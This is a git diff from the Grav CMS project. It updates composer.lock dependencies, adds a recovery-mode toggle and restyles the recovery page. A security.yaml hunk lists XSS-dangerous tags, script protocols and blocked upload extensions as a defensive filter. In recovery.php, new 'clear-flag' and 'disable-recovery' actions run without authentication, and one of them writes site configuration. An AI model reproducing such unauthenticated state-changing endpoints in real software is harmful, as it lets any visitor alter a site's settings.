"codeception/codeception": "<5.0.0-alpha3"
@@ -4711,9 +4716,9 @@
],
"support": {
"issues": "https://github.com/Codeception/lib-web/issues",
"source": "https://github.com/Codeception/lib-web/tree/2.0.0"
"source": "https://github.com/Codeception/lib-web/tree/2.0.1"
},
"time": "2025-09-04T11:39:06+00:00"
"time": "2025-11-27T21:09:09+00:00"
},
{
"name": "codeception/module-asserts",
@@ -4841,16 +4846,16 @@
},
{
"name": "codeception/stub",
"version": "4.2.0",
"version": "4.2.1",
"source": {
"type": "git",
"url": "https://github.com/Codeception/Stub.git",
"reference": "19014cec368cefc0579499779c451551cd288557"
"reference": "0c573cd5c62a828dadadc41bc56f8434860bb7bb"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/Codeception/Stub/zipball/19014cec368cefc0579499779c451551cd288557",
"reference": "19014cec368cefc0579499779c451551cd288557",
"url": "https://api.github.com/repos/Codeception/Stub/zipball/0c573cd5c62a828dadadc41bc56f8434860bb7bb",
"reference": "0c573cd5c62a828dadadc41bc56f8434860bb7bb",
"shasum": ""
},
"require": {
@@ -4876,9 +4881,9 @@
"description": "Flexible Stub wrapper for PHPUnit's Mock Builder",
"support": {
"issues": "https://github.com/Codeception/Stub/issues",
"source": "https://github.com/Codeception/Stub/tree/4.2.0"
"source": "https://github.com/Codeception/Stub/tree/4.2.1"
},
"time": "2025-08-01T08:15:29+00:00"
"time": "2025-12-05T13:37:14+00:00"
},
{
"name": "getgrav/markdowndocs",
@@ -5446,11 +5451,11 @@
},
{
"name": "phpstan/phpstan",
"version": "2.1.32",
"version": "2.1.33",
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/phpstan/phpstan/zipball/e126cad1e30a99b137b8ed75a85a676450ebb227",
"reference": "e126cad1e30a99b137b8ed75a85a676450ebb227",
"url": "https://api.github.com/repos/phpstan/phpstan/zipball/9e800e6bee7d5bd02784d4c6069b48032d16224f",
"reference": "9e800e6bee7d5bd02784d4c6069b48032d16224f",
"shasum": ""
},
"require": {
@@ -5495,7 +5500,7 @@
"type": "github"
}
],
"time": "2025-11-11T15:18:17+00:00"
"time": "2025-12-05T10:24:31+00:00"
},
{
"name": "phpstan/phpstan-deprecation-rules",
@@ -5881,16 +5886,16 @@
},
{
"name": "phpunit/phpunit",
"version": "11.5.44",
"version": "11.5.45",
"source": {
"type": "git",
"url": "https://github.com/sebastianbergmann/phpunit.git",
"reference": "c346885c95423eda3f65d85a194aaa24873cda82"
"reference": "faf5fff4fb9beb290affa53f812b05380819c51a"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/c346885c95423eda3f65d85a194aaa24873cda82",
"reference": "c346885c95423eda3f65d85a194aaa24873cda82",
"url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/faf5fff4fb9beb290affa53f812b05380819c51a",
"reference": "faf5fff4fb9beb290affa53f812b05380819c51a",
"shasum": ""
},
"require": {
@@ -5962,7 +5967,7 @@
"support": {
"issues": "https://github.com/sebastianbergmann/phpunit/issues",
"security": "https://github.com/sebastianbergmann/phpunit/security/policy",
"source": "https://github.com/sebastianbergmann/phpunit/tree/11.5.44"
"source": "https://github.com/sebastianbergmann/phpunit/tree/11.5.45"
},
"funding": [
{
@@ -5986,7 +5991,7 @@
"type": "tidelift"
}
],
"time": "2025-11-13T07:17:35+00:00"
"time": "2025-12-01T07:38:43+00:00"
},
{
"name": "psr/http-client",
@@ -6042,16 +6047,16 @@
},
{
"name": "psy/psysh",
"version": "v0.12.14",
"version": "v0.12.15",
"source": {
"type": "git",
"url": "https://github.com/bobthecow/psysh.git",
"reference": "95c29b3756a23855a30566b745d218bee690bef2"
"reference": "38953bc71491c838fcb6ebcbdc41ab7483cd549c"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/bobthecow/psysh/zipball/95c29b3756a23855a30566b745d218bee690bef2",
"reference": "95c29b3756a23855a30566b745d218bee690bef2",
"url": "https://api.github.com/repos/bobthecow/psysh/zipball/38953bc71491c838fcb6ebcbdc41ab7483cd549c",
"reference": "38953bc71491c838fcb6ebcbdc41ab7483cd549c",
"shasum": ""
},
"require": {
@@ -6115,22 +6120,22 @@
],
"support": {
"issues": "https://github.com/bobthecow/psysh/issues",
"source": "https://github.com/bobthecow/psysh/tree/v0.12.14"
"source": "https://github.com/bobthecow/psysh/tree/v0.12.15"
},
"time": "2025-10-27T17:15:31+00:00"
"time": "2025-11-28T00:00:14+00:00"
},
{
"name": "rector/rector",
"version": "2.2.8",
"version": "2.2.11",
"source": {
"type": "git",
"url": "https://github.com/rectorphp/rector.git",
"reference": "303aa811649ccd1d32e51e62d5c85949d01b5f1b"
"reference": "7bd21a40b0332b93d4bfee284093d7400696902d"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/rectorphp/rector/zipball/303aa811649ccd1d32e51e62d5c85949d01b5f1b",
"reference": "303aa811649ccd1d32e51e62d5c85949d01b5f1b",
"url": "https://api.github.com/repos/rectorphp/rector/zipball/7bd21a40b0332b93d4bfee284093d7400696902d",
"reference": "7bd21a40b0332b93d4bfee284093d7400696902d",
"shasum": ""
},
"require": {
@@ -6169,7 +6174,7 @@
],
"support": {
"issues": "https://github.com/rectorphp/rector/issues",
"source": "https://github.com/rectorphp/rector/tree/2.2.8"
"source": "https://github.com/rectorphp/rector/tree/2.2.11"
},
"funding": [
{
@@ -6177,7 +6182,7 @@
"type": "github"
}
],
"time": "2025-11-12T18:38:00+00:00"
"time": "2025-12-02T11:23:46+00:00"
},
{
"name": "sebastian/cli-parser",
@@ -7219,27 +7224,28 @@
},
{
"name": "symfony/browser-kit",
"version": "v7.3.6",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/browser-kit.git",
"reference": "e9a9fd604296b17bf90939c3647069f1f16ef04e"
"reference": "3bb26dafce31633b1f699894c86379eefc8af5bb"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/browser-kit/zipball/e9a9fd604296b17bf90939c3647069f1f16ef04e",
"reference": "e9a9fd604296b17bf90939c3647069f1f16ef04e",
"url": "https://api.github.com/repos/symfony/browser-kit/zipball/3bb26dafce31633b1f699894c86379eefc8af5bb",
"reference": "3bb26dafce31633b1f699894c86379eefc8af5bb",
"shasum": ""
},
"require": {
"php": ">=8.2",
"symfony/dom-crawler": "^6.4|^7.0"
"symfony/deprecation-contracts": "^2.5|^3",
"symfony/dom-crawler": "^6.4|^7.0|^8.0"
},
"require-dev": {
"symfony/css-selector": "^6.4|^7.0",
"symfony/http-client": "^6.4|^7.0",
"symfony/mime": "^6.4|^7.0",
"symfony/process": "^6.4|^7.0"
"symfony/css-selector": "^6.4|^7.0|^8.0",
"symfony/http-client": "^6.4|^7.0|^8.0",
"symfony/mime": "^6.4|^7.0|^8.0",
"symfony/process": "^6.4|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -7267,7 +7273,7 @@
"description": "Simulates the behavior of a web browser, allowing you to make requests, click on links and submit forms programmatically",
"homepage": "https://symfony.com",
"support": {
"source": "https://github.com/symfony/browser-kit/tree/v7.3.6"
"source": "https://github.com/symfony/browser-kit/tree/v7.4.0"
},
"funding": [
{
@@ -7287,20 +7293,20 @@
"type": "tidelift"
}
],
"time": "2025-11-05T07:57:47+00:00"
"time": "2025-11-05T14:29:59+00:00"
},
{
"name": "symfony/css-selector",
"version": "v7.3.6",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/css-selector.git",
"reference": "84321188c4754e64273b46b406081ad9b18e8614"
"reference": "ab862f478513e7ca2fe9ec117a6f01a8da6e1135"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/css-selector/zipball/84321188c4754e64273b46b406081ad9b18e8614",
"reference": "84321188c4754e64273b46b406081ad9b18e8614",
"url": "https://api.github.com/repos/symfony/css-selector/zipball/ab862f478513e7ca2fe9ec117a6f01a8da6e1135",
"reference": "ab862f478513e7ca2fe9ec117a6f01a8da6e1135",
"shasum": ""
},
"require": {
@@ -7336,7 +7342,7 @@
"description": "Converts CSS selectors to XPath expressions",
"homepage": "https://symfony.com",
"support": {
"source": "https://github.com/symfony/css-selector/tree/v7.3.6"
"source": "https://github.com/symfony/css-selector/tree/v7.4.0"
},
"funding": [
{
@@ -7356,30 +7362,31 @@
"type": "tidelift"
}
],
"time": "2025-10-29T17:24:25+00:00"
"time": "2025-10-30T13:39:42+00:00"
},
{
"name": "symfony/dom-crawler",
"version": "v7.3.3",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/dom-crawler.git",
"reference": "efa076ea0eeff504383ff0dcf827ea5ce15690ba"
"reference": "8f3e7464fe7e77294686e935956a6a8ccf7442c4"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/dom-crawler/zipball/efa076ea0eeff504383ff0dcf827ea5ce15690ba",
"reference": "efa076ea0eeff504383ff0dcf827ea5ce15690ba",
"url": "https://api.github.com/repos/symfony/dom-crawler/zipball/8f3e7464fe7e77294686e935956a6a8ccf7442c4",
"reference": "8f3e7464fe7e77294686e935956a6a8ccf7442c4",
"shasum": ""
},
"require": {
"masterminds/html5": "^2.6",
"php": ">=8.2",
"symfony/deprecation-contracts": "^2.5|^3",
"symfony/polyfill-ctype": "~1.8",
"symfony/polyfill-mbstring": "~1.0"
},
"require-dev": {
"symfony/css-selector": "^6.4|^7.0"
"symfony/css-selector": "^6.4|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -7407,7 +7414,7 @@
"description": "Eases DOM navigation for HTML and XML documents",
"homepage": "https://symfony.com",
"support": {
"source": "https://github.com/symfony/dom-crawler/tree/v7.3.3"
"source": "https://github.com/symfony/dom-crawler/tree/v7.4.0"
},
"funding": [
{
@@ -7427,27 +7434,27 @@
"type": "tidelift"
}
],
"time": "2025-08-06T20:13:54+00:00"
"time": "2025-10-31T09:30:03+00:00"
},
{
"name": "symfony/finder",
"version": "v7.3.5",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/finder.git",
"reference": "9f696d2f1e340484b4683f7853b273abff94421f"
"reference": "340b9ed7320570f319028a2cbec46d40535e94bd"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/finder/zipball/9f696d2f1e340484b4683f7853b273abff94421f",
"reference": "9f696d2f1e340484b4683f7853b273abff94421f",
"url": "https://api.github.com/repos/symfony/finder/zipball/340b9ed7320570f319028a2cbec46d40535e94bd",
"reference": "340b9ed7320570f319028a2cbec46d40535e94bd",
"shasum": ""
},
"require": {
"php": ">=8.2"
},
"require-dev": {
"symfony/filesystem": "^6.4|^7.0"
"symfony/filesystem": "^6.4|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -7475,7 +7482,7 @@
"description": "Finds files and directories via an intuitive fluent interface",
"homepage": "https://symfony.com",
"support": {
"source": "https://github.com/symfony/finder/tree/v7.3.5"
"source": "https://github.com/symfony/finder/tree/v7.4.0"
},
"funding": [
{
@@ -7495,7 +7502,7 @@
"type": "tidelift"
}
],
"time": "2025-10-15T18:45:57+00:00"
"time": "2025-11-05T05:42:40+00:00"
},
{
"name": "theseer/tokenizer",

View File

@@ -77,8 +77,30 @@ date_default_timezone_set(@date_default_timezone_get());
@ini_set('default_charset', 'UTF-8');
mb_internal_encoding('UTF-8');
$recoveryFlag = __DIR__ . '/user/data/recovery.flag';
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag)) {
// Use getcwd() for paths to support symlinked index.php (GRAV_ROOT uses getcwd())
$gravRoot = rtrim(str_replace(DIRECTORY_SEPARATOR, '/', getenv('GRAV_ROOT') ?: getcwd()), '/');
// Helper function to check if recovery mode is enabled in config (updates.recovery_mode)
$isRecoveryEnabled = static function () use ($gravRoot) {
$userConfig = $gravRoot . '/user/config/system.yaml';
if (!is_file($userConfig)) {
return true; // Default enabled
}
$content = file_get_contents($userConfig);
if ($content === false) {
return true;
}
if (preg_match('/^\s*updates:\s*\n(?:\s+\w+:.*\n)*?\s+recovery_mode:\s*(true|false|1|0)\s*$/m', $content, $matches)) {
return in_array(strtolower($matches[1]), ['true', '1'], true);
}
return true; // Default enabled
};
$recoveryFlag = $gravRoot . '/user/data/recovery.flag';
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag) && $isRecoveryEnabled()) {
if (!defined('GRAV_ROOT')) {
define('GRAV_ROOT', $gravRoot);
}
require __DIR__ . '/system/recovery.php';
return 0;
}
@@ -95,7 +117,7 @@ try {
} catch (\Error|\Exception $e) {
$grav->fireEvent('onFatalException', new Event(['exception' => $e]));
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag)) {
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag) && $isRecoveryEnabled()) {
require __DIR__ . '/system/recovery.php';
return 0;
}

View File

@@ -122,4 +122,13 @@ form:
default: '* 3 * * *'
validate:
required: true
.schedule_environment:
type: select
label: PLUGIN_ADMIN.BACKUPS_PROFILE_ENVIRONMENT
help: PLUGIN_ADMIN.BACKUPS_PROFILE_ENVIRONMENT_HELP
default: ''
options:
'': 'Default (cli)'
localhost: 'Localhost'
cli: 'CLI'

View File

@@ -1605,6 +1605,18 @@ form:
type: int
min: 0
updates.recovery_mode:
type: toggle
label: PLUGIN_ADMIN.RECOVERY_MODE
help: PLUGIN_ADMIN.RECOVERY_MODE_HELP
highlight: 1
default: true
options:
1: PLUGIN_ADMIN.YES
0: PLUGIN_ADMIN.NO
validate:
type: bool
http_section:
type: section
title: PLUGIN_ADMIN.HTTP_SECTION

View File

@@ -72,7 +72,7 @@ config:
# Edit view
edit:
title:
template: "{{ form.value('fullname') ?? form.value('username') }} &lt;{{ form.value('email') }}&gt;"
template: "{{ form.value('fullname') ?? form.value('username') }}"
# Configure view
configure:

View File

@@ -10,6 +10,7 @@ profiles:
root: '/'
schedule: false
schedule_at: '0 3 * * *'
schedule_environment: ''
exclude_paths: "/backup\r\n/cache\r\n/images\r\n/logs\r\n/tmp"
exclude_files: ".DS_Store\r\n.git\r\n.svn\r\n.hg\r\n.idea\r\n.vscode\r\nnode_modules"

View File

@@ -1,47 +1,50 @@
xss_whitelist: [admin.super] # Whitelist of user access that should 'skip' XSS checking
xss_whitelist:
- admin.super
xss_enabled:
on_events: true
invalid_protocols: true
moz_binding: true
html_inline_styles: true
dangerous_tags: true
on_events: true
invalid_protocols: true
moz_binding: true
html_inline_styles: true
dangerous_tags: true
xss_invalid_protocols:
- javascript
- livescript
- vbscript
- mocha
- feed
- data
- javascript
- livescript
- vbscript
- mocha
- feed
- data
xss_dangerous_tags:
- applet
- meta
- xml
- blink
- link
- style
- script
- embed
- object
- iframe
- frame
- frameset
- ilayer
- layer
- bgsound
- title
- base
- applet
- meta
- xml
- blink
- link
- style
- script
- embed
- object
- iframe
- frame
- frameset
- ilayer
- layer
- bgsound
- title
- base
- isindex
uploads_dangerous_extensions:
- php
- php2
- php3
- php4
- php5
- phar
- phtml
- html
- htm
- shtml
- shtm
- js
- exe
- php
- php2
- php3
- php4
- php5
- phar
- phtml
- html
- htm
- shtml
- shtm
- js
- exe
sanitize_svg: true
salt: SbmgUJQ62MqNc0

View File

@@ -206,6 +206,7 @@ gpm:
updates:
safe_upgrade: true # Enable guarded staging+rollback pipeline for Grav self-updates
safe_upgrade_snapshot_limit: 5 # Maximum number of safe-upgrade snapshots to retain (0 = unlimited)
recovery_mode: true # Enable recovery mode when fatal errors occur during upgrades
http:
method: auto # Either 'curl', 'fopen' or 'auto'. 'auto' will try fopen first and if not available cURL

View File

@@ -9,7 +9,7 @@
// Some standard defines
define('GRAV', true);
define('GRAV_VERSION', '1.8.0-beta.24');
define('GRAV_VERSION', '1.8.0-beta.28');
define('GRAV_SCHEMA', '1.8.0_2025-09-21_0');
define('GRAV_TESTING', true);

View File

@@ -1,5 +1,6 @@
<?php
use Grav\Common\Filesystem\Folder;
use Grav\Common\Recovery\RecoveryManager;
use Grav\Common\Upgrade\SafeUpgradeService;
@@ -31,6 +32,37 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
exit;
}
$errorMessage = 'Invalid recovery token.';
} elseif ($action === 'clear-flag') {
// Clear recovery flag - allowed without authentication
$manager->clear();
$_SESSION['grav_recovery_authenticated'] = null;
$notice = 'Recovery flag cleared. <a href="' . htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8') . '">Reload the page</a> to continue.';
} elseif ($action === 'disable-recovery') {
// Disable recovery mode in config (updates.recovery_mode) - allowed without authentication
$configDir = GRAV_ROOT . '/user/config';
$configFile = $configDir . '/system.yaml';
Folder::create($configDir);
$config = [];
if (is_file($configFile)) {
$content = file_get_contents($configFile);
if ($content !== false) {
// Simple YAML parsing for this specific case
$config = \Symfony\Component\Yaml\Yaml::parse($content) ?? [];
}
}
if (!isset($config['updates'])) {
$config['updates'] = [];
}
$config['updates']['recovery_mode'] = false;
$yaml = \Symfony\Component\Yaml\Yaml::dump($config, 4, 2);
file_put_contents($configFile, $yaml);
// Also clear the recovery flag
$manager->clear();
$_SESSION['grav_recovery_authenticated'] = null;
$notice = 'Recovery mode has been disabled. <a href="' . htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8') . '">Reload the page</a> to continue.';
} elseif ($authenticated) {
$service = new SafeUpgradeService();
try {
@@ -40,16 +72,11 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$_SESSION['grav_recovery_authenticated'] = null;
$notice = 'Rollback complete. Please reload Grav.';
}
if ($action === 'clear-flag') {
$manager->clear();
$_SESSION['grav_recovery_authenticated'] = null;
$notice = 'Recovery flag cleared.';
}
} catch (\Throwable $e) {
$errorMessage = $e->getMessage();
}
} else {
$errorMessage = 'Authentication required.';
$errorMessage = 'Authentication required for this action.';
}
}
@@ -94,6 +121,13 @@ if (is_dir($manifestDir)) {
$latestSnapshot = $snapshots[0] ?? null;
// Determine base URL for assets
$scriptName = $_SERVER['SCRIPT_NAME'] ?? '/index.php';
$baseUrl = rtrim(dirname($scriptName), '/\\');
if ($baseUrl === '.' || $baseUrl === '') {
$baseUrl = '';
}
header('Content-Type: text/html; charset=utf-8');
?><!doctype html>
@@ -103,99 +137,410 @@ header('Content-Type: text/html; charset=utf-8');
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Grav Recovery Mode</title>
<style>
body { font-family: system-ui, -apple-system, BlinkMacSystemFont, sans-serif; margin: 0; padding: 40px; background: #111; color: #eee; }
.panel { max-width: 720px; margin: 0 auto; background: #1d1d1f; padding: 24px 32px; border-radius: 12px; box-shadow: 0 10px 45px rgba(0,0,0,0.4); }
h1 { font-size: 2.5rem; margin-top: 0; color: #fff; display:flex;align-items:center; }
h1 > img {margin-right:1rem;}
code { background: rgba(255,255,255,0.08); padding: 2px 4px; border-radius: 4px; }
form { margin-top: 16px; }
input[type="text"] { width: 100%; padding: 10px; border: 1px solid #333; border-radius: 6px; background: #151517; color: #fff; }
button { margin-top: 12px; padding: 10px 16px; border: 0; border-radius: 6px; cursor: pointer; background: #3c8bff; color: #fff; font-weight: 600; }
button.secondary { background: #444; }
.message { padding: 10px 14px; border-radius: 6px; margin-top: 12px; }
.error { background: rgba(220, 53, 69, 0.15); color: #ffb3b8; }
.notice { background: rgba(25, 135, 84, 0.2); color: #bdf8d4; }
ul { padding-left: 20px; }
li { margin-bottom: 8px; }
.card { border: 1px solid #2a2a2d; border-radius: 8px; padding: 14px 16px; margin-top: 16px; background: #161618; }
small { color: #888; }
* { box-sizing: border-box; }
body {
font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
margin: 0;
padding: 20px;
background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%);
min-height: 100vh;
color: #e8e8e8;
line-height: 1.6;
}
.container {
max-width: 800px;
margin: 0 auto;
}
.header {
text-align: center;
padding: 30px 0;
}
.header img {
width: 80px;
height: auto;
margin-bottom: 16px;
}
.header h1 {
font-size: 1.8rem;
margin: 0 0 8px 0;
color: #fff;
font-weight: 600;
}
.header .subtitle {
color: #a0a0a0;
font-size: 1rem;
margin: 0;
}
.alert {
padding: 16px 20px;
border-radius: 8px;
margin-bottom: 20px;
display: flex;
align-items: flex-start;
gap: 12px;
}
.alert-error {
background: rgba(239, 68, 68, 0.15);
border: 1px solid rgba(239, 68, 68, 0.3);
color: #fca5a5;
}
.alert-warning {
background: rgba(245, 158, 11, 0.15);
border: 1px solid rgba(245, 158, 11, 0.3);
color: #fcd34d;
}
.alert-success {
background: rgba(34, 197, 94, 0.15);
border: 1px solid rgba(34, 197, 94, 0.3);
color: #86efac;
}
.alert-success a { color: #4ade80; }
.alert-icon {
font-size: 1.5rem;
flex-shrink: 0;
line-height: 1;
}
.alert-content { flex: 1; }
.alert-title {
font-weight: 600;
margin-bottom: 4px;
}
.card {
background: rgba(255, 255, 255, 0.05);
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 12px;
padding: 24px;
margin-bottom: 20px;
}
.card h2 {
font-size: 1.1rem;
margin: 0 0 16px 0;
color: #fff;
font-weight: 600;
}
.card h3 {
font-size: 1rem;
margin: 0 0 12px 0;
color: #fff;
font-weight: 600;
}
.error-summary {
background: rgba(0, 0, 0, 0.2);
border-radius: 8px;
padding: 16px;
font-family: 'SF Mono', Monaco, 'Cascadia Code', monospace;
font-size: 0.9rem;
overflow-x: auto;
}
.error-summary .error-message {
color: #f87171;
word-break: break-word;
}
.error-summary .error-location {
color: #94a3b8;
margin-top: 8px;
font-size: 0.85rem;
}
.btn-group {
display: flex;
gap: 12px;
flex-wrap: wrap;
margin-top: 16px;
}
button, .btn {
padding: 12px 24px;
border: none;
border-radius: 8px;
font-size: 0.95rem;
font-weight: 600;
cursor: pointer;
transition: all 0.2s ease;
display: inline-flex;
align-items: center;
gap: 8px;
text-decoration: none;
}
.btn-primary {
background: #3b82f6;
color: #fff;
}
.btn-primary:hover {
background: #2563eb;
}
.btn-secondary {
background: rgba(255, 255, 255, 0.1);
color: #e8e8e8;
border: 1px solid rgba(255, 255, 255, 0.2);
}
.btn-secondary:hover {
background: rgba(255, 255, 255, 0.15);
}
.btn-danger {
background: rgba(239, 68, 68, 0.2);
color: #fca5a5;
border: 1px solid rgba(239, 68, 68, 0.3);
}
.btn-danger:hover {
background: rgba(239, 68, 68, 0.3);
}
details {
margin-top: 16px;
}
summary {
cursor: pointer;
color: #94a3b8;
font-size: 0.9rem;
padding: 8px 0;
user-select: none;
}
summary:hover {
color: #cbd5e1;
}
.stack-trace {
background: rgba(0, 0, 0, 0.3);
border-radius: 8px;
padding: 16px;
margin-top: 12px;
font-family: 'SF Mono', Monaco, 'Cascadia Code', monospace;
font-size: 0.8rem;
overflow-x: auto;
white-space: pre-wrap;
word-break: break-all;
color: #94a3b8;
max-height: 400px;
overflow-y: auto;
}
.info-list {
list-style: none;
padding: 0;
margin: 0;
}
.info-list li {
padding: 8px 0;
border-bottom: 1px solid rgba(255, 255, 255, 0.05);
display: flex;
gap: 12px;
}
.info-list li:last-child {
border-bottom: none;
}
.info-list .label {
color: #94a3b8;
min-width: 120px;
flex-shrink: 0;
}
.info-list .value {
color: #e8e8e8;
word-break: break-word;
}
input[type="text"] {
width: 100%;
padding: 12px 16px;
border: 1px solid rgba(255, 255, 255, 0.2);
border-radius: 8px;
background: rgba(0, 0, 0, 0.2);
color: #fff;
font-size: 0.95rem;
margin-top: 8px;
}
input[type="text"]:focus {
outline: none;
border-color: #3b82f6;
}
label {
color: #94a3b8;
font-size: 0.9rem;
}
.help-text {
color: #64748b;
font-size: 0.85rem;
margin-top: 8px;
}
code {
background: rgba(255, 255, 255, 0.1);
padding: 2px 6px;
border-radius: 4px;
font-family: 'SF Mono', Monaco, 'Cascadia Code', monospace;
font-size: 0.85rem;
}
.quarantine-list {
list-style: none;
padding: 0;
margin: 0;
}
.quarantine-list li {
padding: 12px;
background: rgba(245, 158, 11, 0.1);
border-radius: 6px;
margin-bottom: 8px;
}
.quarantine-list .plugin-name {
font-weight: 600;
color: #fcd34d;
}
.quarantine-list .plugin-time {
color: #94a3b8;
font-size: 0.85rem;
}
.snapshot-info {
background: rgba(0, 0, 0, 0.2);
border-radius: 8px;
padding: 12px 16px;
margin: 12px 0;
}
.snapshot-info code {
color: #60a5fa;
}
.snapshot-info small {
color: #64748b;
display: block;
margin-top: 4px;
}
@media (max-width: 600px) {
body { padding: 12px; }
.card { padding: 16px; }
.btn-group { flex-direction: column; }
button, .btn { width: 100%; justify-content: center; }
.info-list li { flex-direction: column; gap: 4px; }
.info-list .label { min-width: auto; }
}
</style>
</head>
<body>
<div class="panel">
<h1><img src="system/assets/grav.png">Grav Recovery Mode</h1>
<div class="container">
<div class="header">
<img src="<?php echo htmlspecialchars($baseUrl, ENT_QUOTES, 'UTF-8'); ?>/system/assets/grav.png" alt="Grav" onerror="this.style.display='none'">
<h1>Recovery Mode</h1>
<p class="subtitle">Grav has encountered an error during a recent update</p>
</div>
<?php if ($notice): ?>
<div class="message notice"><?php echo htmlspecialchars($notice, ENT_QUOTES, 'UTF-8'); ?></div>
<?php endif; ?>
<?php if ($errorMessage): ?>
<div class="message error"><?php echo htmlspecialchars($errorMessage, ENT_QUOTES, 'UTF-8'); ?></div>
<?php endif; ?>
<?php if (!$authenticated): ?>
<p>This site is running in recovery mode because Grav detected a fatal error.</p>
<p>Locate the recovery token in <code>user/data/recovery.flag</code> and enter it below.</p>
<form method="post">
<input type="hidden" name="action" value="authenticate">
<label for="token">Recovery token</label>
<input id="token" name="token" type="text" autocomplete="one-time-code" required>
<button type="submit">Unlock Recovery</button>
</form>
<?php else: ?>
<div class="card">
<h2>Failure Details</h2>
<ul>
<li><strong>Message:</strong> <?php echo htmlspecialchars($context['message'] ?? 'Unknown', ENT_QUOTES, 'UTF-8'); ?></li>
<li><strong>File:</strong> <?php echo htmlspecialchars($context['file'] ?? 'n/a', ENT_QUOTES, 'UTF-8'); ?></li>
<li><strong>Line:</strong> <?php echo htmlspecialchars((string)($context['line'] ?? 'n/a'), ENT_QUOTES, 'UTF-8'); ?></li>
<?php if (!empty($context['plugin'])): ?>
<li><strong>Quarantined plugin:</strong> <?php echo htmlspecialchars($context['plugin'], ENT_QUOTES, 'UTF-8'); ?></li>
<?php endif; ?>
</ul>
<div class="alert alert-success">
<span class="alert-icon">&#10003;</span>
<div class="alert-content"><?php echo $notice; ?></div>
</div>
<?php endif; ?>
<?php if ($quarantine): ?>
<div class="card">
<h3>Quarantined Plugins</h3>
<ul>
<?php foreach ($quarantine as $entry): ?>
<li>
<strong><?php echo htmlspecialchars($entry['slug'], ENT_QUOTES, 'UTF-8'); ?></strong>
<small>(disabled at <?php echo date('c', $entry['disabled_at']); ?>)</small><br>
<?php echo htmlspecialchars($entry['message'] ?? '', ENT_QUOTES, 'UTF-8'); ?>
</li>
<?php endforeach; ?>
</ul>
<?php if ($errorMessage): ?>
<div class="alert alert-error">
<span class="alert-icon">&#9888;</span>
<div class="alert-content">
<div class="alert-title">Action Failed</div>
<?php echo htmlspecialchars($errorMessage, ENT_QUOTES, 'UTF-8'); ?>
</div>
<?php endif; ?>
</div>
<?php endif; ?>
<div class="card">
<h3>Rollback</h3>
<?php if ($latestSnapshot): ?>
<form method="post">
<input type="hidden" name="action" value="rollback">
<input type="hidden" name="manifest" value="<?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?>">
<p>
Latest snapshot:
<code><?php echo htmlspecialchars($latestSnapshot['id'], ENT_QUOTES, 'UTF-8'); ?></code>
<?php if (!empty($latestSnapshot['label'])): ?>
<br><small><?php echo htmlspecialchars($latestSnapshot['label'], ENT_QUOTES, 'UTF-8'); ?></small>
<?php endif; ?>
— Grav <?php echo htmlspecialchars($latestSnapshot['target_version'] ?? 'unknown', ENT_QUOTES, 'UTF-8'); ?>
<?php if (!empty($latestSnapshot['created_at'])): ?>
<br><small>Created <?php echo htmlspecialchars(date('c', (int)$latestSnapshot['created_at']), ENT_QUOTES, 'UTF-8'); ?></small>
<?php endif; ?>
</p>
<button type="submit" class="secondary">Rollback to Latest Snapshot</button>
</form>
<?php else: ?>
<p>No upgrade snapshots were found.</p>
<div class="alert alert-warning">
<span class="alert-icon">&#9888;</span>
<div class="alert-content">
<div class="alert-title">A Fatal Error Occurred</div>
Grav detected a fatal error after a recent upgrade and has entered recovery mode to protect your site.
</div>
</div>
<div class="card">
<h2>Error Details</h2>
<div class="error-summary">
<div class="error-message"><?php echo htmlspecialchars($context['message'] ?? 'Unknown error', ENT_QUOTES, 'UTF-8'); ?></div>
<?php if (!empty($context['file'])): ?>
<div class="error-location">
<?php echo htmlspecialchars($context['file'], ENT_QUOTES, 'UTF-8'); ?><?php if (!empty($context['line'])): ?>:<?php echo htmlspecialchars((string)$context['line'], ENT_QUOTES, 'UTF-8'); ?><?php endif; ?>
</div>
<?php endif; ?>
</div>
<form method="post">
<input type="hidden" name="action" value="clear-flag">
<button type="submit" class="secondary">Exit Recovery Mode</button>
</form>
<?php if (!empty($context['trace'])): ?>
<details>
<summary>View Stack Trace</summary>
<div class="stack-trace"><?php echo htmlspecialchars($context['trace'], ENT_QUOTES, 'UTF-8'); ?></div>
</details>
<?php endif; ?>
<?php if (!empty($context['plugin'])): ?>
<details open>
<summary>Affected Plugin</summary>
<ul class="info-list" style="margin-top: 12px;">
<li>
<span class="label">Plugin</span>
<span class="value"><strong><?php echo htmlspecialchars($context['plugin'], ENT_QUOTES, 'UTF-8'); ?></strong> (has been automatically disabled)</span>
</li>
</ul>
</details>
<?php endif; ?>
</div>
<?php if ($quarantine): ?>
<div class="card">
<h2>Quarantined Plugins</h2>
<p class="help-text" style="margin-top: 0;">These plugins have been automatically disabled due to errors:</p>
